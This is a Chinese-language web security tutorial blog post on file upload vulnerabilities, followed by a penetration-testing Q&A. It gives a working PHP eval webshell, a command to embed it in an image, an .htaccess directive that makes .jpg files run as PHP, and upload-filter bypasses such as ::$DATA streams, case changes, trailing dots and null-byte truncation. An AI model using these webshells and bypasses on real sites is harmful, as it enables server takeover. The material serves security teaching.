web安全入门(第七章-1)文件上传漏洞--解析、验证、伪造

一、客户端检测

1,客户端校验:
		一般是在网页上写一段Js脚本,用Js去检测,
		校验上传文件的后缀名,有白名单也有黑名单。
2,判断方式:
		通过抓包来判断,如果还未抓住包,就弹出不准上传,
		那么就是前端验证,否则一般就是服务端验证
3,突破方法
		前端验证非常不可靠,通常可通过两种方式绕过:
			~关闭JS尝试绕过
			~传正常文件通过burp修改数据包就可以绕过(推荐)
4,黑白名单机制:
		黑名单:不允许上传什么
		白名单:只允许上传什么

		白名单比黑名单更安全

二、服务端检测

1,服务端检测几个常见的手段:
		检查Content-Type (内容类型)
		检查后缀  (检查后缀是主流)
		检查文件头

2,制作图片马(隐写)
		~找一张正常的照片(最好用小图片,越小越好)
			例如:1.jpg
		~新建一个文本文档(内容<?php eval($_REQUEST['a']);?>一句马)
			例如:1.txt
		~打开cmd运行下边命令
			代码:copy 1.jpg/b + 1.txt 123.jpg
			/b的意思是以二进制加载,最后会合成一个名为123.jpg的图片
		
		另外:如何拿出源文件?
			改123.jpg为123.zip直接解压即可,很多ctf的初级隐写难度

	一句话木马的核心:就是用户传参的数据当作代码执行
	
	webshell 管理工具:   (网站木马)
			webshell =>网站会话[拥有网站权限]
			getshell =>获取会话

		能被解析的文件扩展名列表:
		php: php、 phtml、php3、php4、php5
		jsp: jap、jspx、jspf
		asp: asa、cer、aspx
		ext: exee
		先判断是否前端检测-然后在检测是不是后缀检测-在看是不是黑名单

三、文件上传绕过类型:

1.前端检测
	使用burp抓包,上传一个非法文件,如果抓到数据包,说明是后端校验,如果没抓到数据包,说明是前端校验。

2.Content-Type方式绕过
	使用burp,上传图片马,直接更改类型php
3.黑名单绕过
	使用burp,上传图片马,直接更改类型,如上传不成功,可以phtml
	大部分可以使用::$DATA绕过
4..htaccess文件绕过
	这个文件是中间件看的。
	.htaccess是什么?
		.htaccess文件也被称为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令到的文件,以作用于次目录及其所有子目录。
		.htaccess功能:
			文件夹密码保护、用户自定义重定向、自定义404页面,扩展伪静态话、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,很可惜,这个功能默认是不开启的。
		例如:AddType application/x-httpd-php .jpg 这个指令代表有.jpg文件会当做php解析
		将这句代码放进txt文件,将文件名修改成功.htaccess,然后上传它就可以了。
		我们无法将文件名命名为.htaccess,那么应该怎么办?
			使用cmd的重命名
			ren  1.txt .htaccess
5.后缀大小写绕过
	windows后缀是不区分大小写的。
	解析时一般也不区分大小写。
	Web容器除非非常老,不然都不区分大小写
6.文件后缀(空/空格)绕过
	在文件名后留一个空格,然后上传上去空格会自动的省略,
	在系统操作中,php空格=php
	但是在字符串匹配的时候
	php空格!=php
	
7.文件后缀(点)绕过
	windows有一个特性,会自动去掉后缀名留最后的.

8.::$DATA(Windows文件流绕过)
	(这里利用到了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其他文件可以“寄宿”在某个文件身上,而在
	资源管理器中却只能看到宿主文件,找不到寄宿文件。)
	肯定不懂这个意思是什么吧,现在cmd运行一个(藏文件的小福利)
	echo abcd>>a.txt:b.txt 将abcd写入a.txt:b.txt,很明显生成一个a.txt,将b.txt寄宿到a.txt文件上。
	使用notepad 1.txt:b.txt,将寄宿文件揪出来	
	然后在试试a.txt::$DATA	
	::$DATA就是默认不修改文件流的情况,所以生成一个正常的a.txt。
	利用windows特性,可在后缀名中加::$DATA 绕过。
9.构造文件后缀绕过
	php. .
10.双写文件后缀绕过
	会出现删后缀,,,所以要双写后缀,,不会出现删文件。

四、实战注意(主要黑名单)

1,简单的前端黑白名单限制可以通过上边的两种方法
2,图片马burp抓包改回后缀进行绕过
3,服务端黑名单,将后缀改为	php.  php_  php4 phptml php空格 在上传
4,htaccess文件绕过
		简单的说,htaccess文件就是web容器的配置文件,web容器
		会根据htaccess文件的内容去执行,我们可以改内容:
		例如:	
			AddType application/x-httpd-php .jpg
			这个代码指令代表着.jpg文件会当做php来解析,但是仅限于当前文件夹
		用法:
			新建1.txt文件,将代码写入,打开cmd,运行下列命令:
			ren 1.txt .htaccess		//更名后是没有文件名字的
		
		注意:但是这个功能是默认不开启的,可以试试,但是伪静态网页一定会开

5,win系统后缀是不分大小写,而且解析容器也一般不分。可以改一下后缀大小写
6,win文件流绕过(隐写)
		打开cmd:
			echo abcd					//输出abcd
			echo abcd >> 1.txt			//新建1.txt,内容为abcd
			echo abcd >> 1.txt:b.txt	//新建b.txt,内容为abcd,且藏在1.txt中
										//系统中只能看到1.txt
		打开b.txt:(cmd中)
			notepad						//打开记事本
			notepad 1.txt				//用记事本打开1.txt
			notepad 2.txt:b.txt			//打开隐藏在1.txt中的b.txt
		注意:此时的1.txt中必须为空,不能保存东西
		
	扩展:
			(1)事实上,新建的文件夹,完整的语句是这样的:
				echo abcd >> 2.txt::$DATA		
			这是建立一个2.txt文件,平时写echo abcd >> 1.txt	系统默认补全
			
			(2)echo abcd >> 1.txt		没有1.txt新建,若有则将abcd追加至元文件
			(3)如何结合上传文件:
				上传1.jpg,burp抓包,改为1.php::$DATA,保存在服务器为1.php

7,实战中,不知道什么检测,建议直接用图片马,可以避免很多麻烦
8,		连接自己的一句马:url/上传马.php?a=phpinfo();			//“;”不要忘记,
			经典一句马内容:<?php @eval($_REQUEST['a']);?>

文件上传常见问题汇总

1.文件上传对渗透测试的意义
文件上传属于获取Getshell的一种方法,属于最常规获取webshell的方法,所以寻找上传点比进入后台还重要,如果前台上传点你直接上传上去一个一句话木马,整个站你就拿下来了。

2.文件上传需要做信息收集吗?
当然需要信息收集,信息收集中对web容器和用的动态语言和动态语言版本对文件上传非常有用,一个ASP的站,你传一个PHP的马,如果说没有特殊设置,那么这个马是不可能执行(但是有些情况下,他设置了解析,也是可以解析的)然后web容器也会存在一些解析漏洞,如iis6.0畸形解析、CGI解析漏洞

3.文件上传是不是只会检测后缀?
并不是,有些文件上传还会去检测文件内容

4.黑名单和白名单哪个安全?
相对而言,白名单更安全一点

5.如果只能上传图片,这个上传点是不是没用?
并不是,好歹你还是有文件上传上去的,如果网站存在本地包含或者解析漏洞,你传上去的图片马就可以大放光彩了。

6.只是windows有::$DATA吗?
是的呀

7.windows忽略大小写,linux?
Linux并不会忽略大小写,比如访问一个网站,将URL里面文件夹得名字改一个小写字母为大写,如果正常访问那一般是windows,如果访问出现问题一般是linux(快速检测不一定准)

8.双写绕过常见吗?
双写绕过并不是特别常见,但是也是遇到过,你上传得文件得文件名就可以看出来能否双写绕过

9.没有源码怎么测试文件上传漏洞?
这个可能是同学们最关心的问题,因为大多数情况下,都不会有目标站点的源码。所以黑盒怎么测试妮?先传一个正常图片,然后看看这个地方上传是否有用,然后再传一个jpg后缀的图片马,看看对内容会不会检测,然后再尝试改包,看看是不是前端验证,然后尝试下看看是黑名单还是白名单机制,然后最后尝试条件竞争。

10..htaccess文件绕过这个常见吗?
虽然这个默认不是开启的,但是开启了伪静态的网站都会开启,所以遇到伪静态可以直接尝试,不过没用遇到也是可以尝试的,也许管理员开启了妮~多尝试

11.后缀大小写绕过可能存在吗?
当然可能啦,老的ASP站比较容易遇到

12.文件后缀(空和点)绕过适用于什么环境?
仅仅用于windows

13.00截断和%00截断有区别吗?
没有任何区别,%00 仅仅是00的URL编码而已

14.00截断有限制条件吗?
高版本php不存在,5.4.45以上似乎就没有了

15.有没有把图片打成base64保存到数据库的操作?
有这个操作,但是我试过,我做开发的时候干过这个操作,但是这样会让数据库超级大,而且感觉影响了数据库的性能

16.条件竞争实战可行性?
实战是可以行的,之前遇到过一个非法网站,然后他就存在条件竞争(不过一般5分钟没跑出来就放弃把)

17.IIs6.0畸形解析漏洞(一)怎么利用?
Asa cer 这个很明显是绕过黑名单机制的

18.IIs6.0畸形解析漏洞(二)怎么利用?
这里是绕过白名单机制的,利用;进行绕过

19.IIs6.0畸形解析漏洞(三)怎么利用?
当你拥有建立文件夹且可以命名的时候利用

20.IIS6.0感觉很老呀现在还多吗?
ASP的站大部分都是这个版本,也有些IIS6.0修复了解析漏洞,也不用太执着

21.CGI解析漏洞仅仅用于Nginx吗?
不是这样子额的,CGI解析漏洞在IIS7.5、IIS7.0中也存在,我实战遇到过的大部分都是IIS7.X比较多

22.文件上传漏洞就只有靶场的这23个吗?
当然不是啦,只不过这23个是比较常见的啦

23.文件上传是不是必须要图片马?
也并不是必须,但是我建议使用图片马,因为图片马可以绕过好多防护机制

24.我图片马做了,但是上传上去连接不了怎么办?
你先看看你的图片马是不是太大了,图片马大了会影响执行,所以我建议使用小图片做图片马,我自己真的用的图片马,都是QQ表情,一个图片才10kb.第二个要检测的就是看看图片马是否正常运行,建议在本地先试试

25.动态脚本语言不同,他们的一句话木马可以通用吗?
当然不可以啦,难道你觉得英语和中文还有日语可以通用吗?每个动态脚本语言都有自己的一句话木马,函数可能连名字都是差不多的,但是语句肯定不一样(百度查一查就有了)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值